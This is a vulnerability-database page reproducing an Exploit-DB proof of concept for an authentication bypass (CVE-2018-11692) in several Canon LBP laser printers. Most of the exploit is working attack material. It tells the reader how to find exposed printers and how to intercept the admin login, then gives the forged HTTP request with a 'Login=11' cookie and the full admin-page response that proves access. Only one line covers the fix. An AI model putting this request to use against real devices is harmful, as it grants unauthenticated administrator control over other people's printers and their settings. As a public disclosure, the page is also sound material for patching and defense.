Canon LBP6650/LBP3370/LBP3460/LBP7750C - Authenticaton Bypass

🗓️ 06 Jun 2018 00:00:00Reported by Exploit-DBType

exploitdb🔗 www.exploit-db.com👁 914 Views

Authentication Bypass in Canon LBP Printer

Reporter	Title	Published	Views	Family All 10
0day.today	Canon LBP6650 / LBP3370 / LBP3460 / LBP7750C - Authenticaton Bypass Vulnerability	6 Jun 201800:00	–	zdt
CNVD	Authentication Bypass Vulnerability in Multiple Canon Products	6 Jun 201800:00	–	cnvd
CVE	CVE-2018-11692	4 Jun 201806:00	–	cve
Cvelist	CVE-2018-11692	4 Jun 201806:00	–	cvelist
NVD	CVE-2018-11692	4 Jun 201806:29	–	nvd
OpenVAS	Canon Printers Authentication Bypass Vulnerability (Jul 2018)	6 Jun 201800:00	–	openvas
Packet Storm	Canon LBP6650 / LBP3370 / LBP3460 / LBP7750C Authentication Bypass	6 Jun 201800:00	–	packetstorm
Prion	Authentication flaw	4 Jun 201806:29	–	prion
Positive Technologies	PT-2018-1375 · Canon · Canon Lbp3370 +3	4 Jun 201800:00	–	ptsecurity
seebug.org	Canon LBP6650/LBP3370/LBP3460/LBP7750C - Authenticaton Bypass(CVE-2018-11692)	6 Jun 201800:00	–	seebug

# Exploit Title: [ Incorrect Access Control in Canon LBP6650, LBP3370, LBP3460, LBP7750C]
# Date: [3.6.2018]
# Exploit Author: [Huy Kha]
# Vendor Homepage: [http://global.canon.com]
# Software Link: [ Website ]
# Severity: High
# Version: LBP6650, LBP3370, LBP3460, LBP7750C
# Tested on: Mozilla FireFox

# Description : An issue was discovered on Canon LBP6650, LBP3370, LBP3460, LBP7750C printers.
It is possible for a remote (unauthenticated) attacker to bypass the Administrator Mode authentication without a password at any URL of the device that requires authentication.



# PoC :
Start searching for Canon LBP6650 ,LBP3370, LBP3460 printers.
You can recognize them with the /tlogin.cgi parameter, but the version is
also been displayed on the webinterface.
https://imgur.com/a/QE3GfLw

# Example :

1. Go to the following url: http://127.0.0.1/tlogin.cgi
2. Click on Administrator Mode
3. Intercept now the request with Burpsuite and click on 'Ok'' to login.
And forward the request till you get the ''/frame.cgi?page=DevStatus''
parameter.


# Request :

GET /frame.cgi?page=DevStatus HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/tlogin.cgi
Cookie: CookieID=1610705327:; Login=11
Connection: close
Upgrade-Insecure-Requests: 1

# Response :

HTTP/1.1 200 OK
Date: MON, 05 JAN 1970 16:35:57 GMT
Server: CANON HTTP Server
Content-Type: text/html
Content-Length: 5652

<html>

<head>
<meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache"/>
<meta http-equiv="cache-control" content="no-cache,no-store,max-age=0"/>
<meta http-equiv="expires" content="Thu 01 Jan 1970 00:00:00 GMT"/>



<script language="JavaScript">
document.write('<title>Remote UI <');
switch("DevStatus")
{
case "DevStatus":document.write('Status');break;
case "DevError":document.write('Error Information');break;
case "DevUtil":document.write('Utility Menu');break;
case "DevCtrl":document.write('Device Control');break;
case "DevCalib":document.write('Calibration');break;
case "DevInfo":document.write('Device Information');break;
case "DevInfoSetDev":document.write('Change Device Information');break;
case "DevInfoSetSecu":document.write('Change Administrator Settings');break;
case "DevInfoSetIpSecu":document.write('Change IP Address Range');break;
case "DevInfoSetIpv6Secu":document.write('Change IP Address Range');break;
case "DevInfoSetMacSecu":document.write('Change Receiving Permitted MAC
Address');break;
case "DevInfoSetRuiSecu":document.write('Change Remote UI Setting');break;
case "KeyManageSet":document.write('Key and Certificate');break;
case "KeyManageDetail":document.write('Certificate Details');break;
case "KeyManageNewKey":document.write('Generate Key and Certificate');break;
case "KeyManageNewCert":document.write('#&Title_KeyManageNewCert');break;
case "KeyManageKeyInst":document.write('Install Key and Certificate');break;
case "KeyManageKeyPasswd":document.write('Enter Private Key
Password');break;
case "CaManageSet":document.write('CA Certificate');break;
case "CaManageDetail":document.write('Certificate Details');break;
case "CaManageKeyInst":document.write('Install CA Certificate');break;
case "JobHistory":document.write('Job Log Display');break;
case "DevFeature":document.write('Features');break;
case "DevNetwork":document.write('Network');break;
case "DevNetworkSetTcpip":document.write('Change TCP/IP Settings');break;
case "DevNetworkSetNetware":document.write('Change NetWare Settings');break;
case "DevNetworkSetApTalk":document.write('Change AppleTalk
Settings');break;
case "DevNetworkSetSMB":document.write('Change SMB Protocol
Settings');break;
case "DevNetworkSetNetIF":document.write('Change Ethernet Driver
Setting');break;
case "DevNetworkSetSNMP":document.write('Change SNMP Settings');break;
case "DevNetworkSetSNMPV3User":document.write('User Settings');break;
case "DevNetworkSetSNMPV3ConText":document.write('Context Settings');break;
case "DevNetworkSetSNMPV3ConTextSet":document.write('Context
Settings');break;
case "DevNetworkSetSpool":document.write('Change Spooler Setting');break;
case "DevNetworkSetNWakeUp":document.write('Change Startup Time');break;
case "DevNetworkParList":document.write('Parameter List');break;
case "DevNetworkFactDef":document.write('Initialize Network
Settings');break;
case "DevNetworkSetEmail":document.write('Change E-mail Print
Settings');break;
case "EmailRecv":document.write('Receive E-mails');break;
case "DevIDControl":document.write('Department ID Management');break;
case "DevIDSetting":document.write('Department ID Management');break;
case "DevIDRegist":document.write('Department ID Management');break;
case "DevIDEdit":document.write('Department ID Management');break;
case "DevCount":document.write('Counter Check');break;
case "JobPrtProp":document.write('Print Job Details');break;
case "JobPrtSecure":document.write('Unlock');break;
case "JobStore":document.write('Stored Job');break;
case "JobStoreList":document.write('#&Title_JobStoreList');break;
case "JobStoreEnterPwd":document.write('Enter Password');break;
case "JobStoreProp":document.write('Stored Job Details');break;
case "JobStoreExec":document.write('Print Stored Job');break;
case "JobStoreBoxProp":document.write('Change Box Settings');break;
case "JobLog":document.write('Print Log');break;
case "EmailLog":document.write('E-mail Receive Log');break;
case "PdfPrint":document.write('Direct Print');break;
case "PsPrint":document.write('Direct Print');break;
case "ImgPrint":document.write('Direct Print');break;
case "CfgCtrl":document.write('Control Menu');break;
case "CfgCtrlSet":document.write('Change Control');break;
case "CfgCtrlTimeSet":document.write('Change Date and Time');break;
case "CfgPaper":document.write('Paper Source Menu');break;
case "CfgPaperSet":document.write('Change Paper Source');break;
case "CfgLayout":document.write('Layout Menu');break;
case "CfgLayoutSet":document.write('Change Layout');break;
case "CfgQuality":document.write('Quality Menu');break;
case "CfgQualitySet":document.write('Change Quality');break;
case "CfgUserMainte":document.write('User Maintenance Menu');break;
case "CfgUserMainteSet":document.write('Change User Maintenance');break;
case "CfgExpCard":document.write('Extension Card');break;
case "SupLink":document.write('Support Links');break;
case "SupLinkSet":document.write('Edit Support Links');break;
case "Debug":document.write('Debug');break;
case "Syslog":document.write('System Log');break;
default:document.write('');break;
}
document.write('> : LBP6650 ; LBP6650</title>');

var url = new String(document.location);
var ssl = "0";
if( ssl == '1')
{
    if(url.match("https") == null )
    {
document.location.href = "blank.html";
    }
}

</script>

</head>

<frameset cols="185,*" frameborder="NO" border="0" framespacing="0" >
<frame src="/menu.cgi?Type=DEVICE" marginwidth="8" marginheight="0"
name="Index" noresize scrolling="NO">
<frame src="/dstatus.cgi" name="Body">
</frameset>
<noframes>
<body>
</body>
</noframes>

</html>



# Do we have now access to the printer with Admin Mode? : Yes

# How to fix this? : Remove the default password and add a new (strong) password.


# Screenshot : https://imgur.com/a/ISDL1Qf (Administrator Mode)

06 Jun 2018 00:00Current

9.7High risk

Vulners AI Score9.7

CVSS 39.8

CVSS 210

EPSS0.02724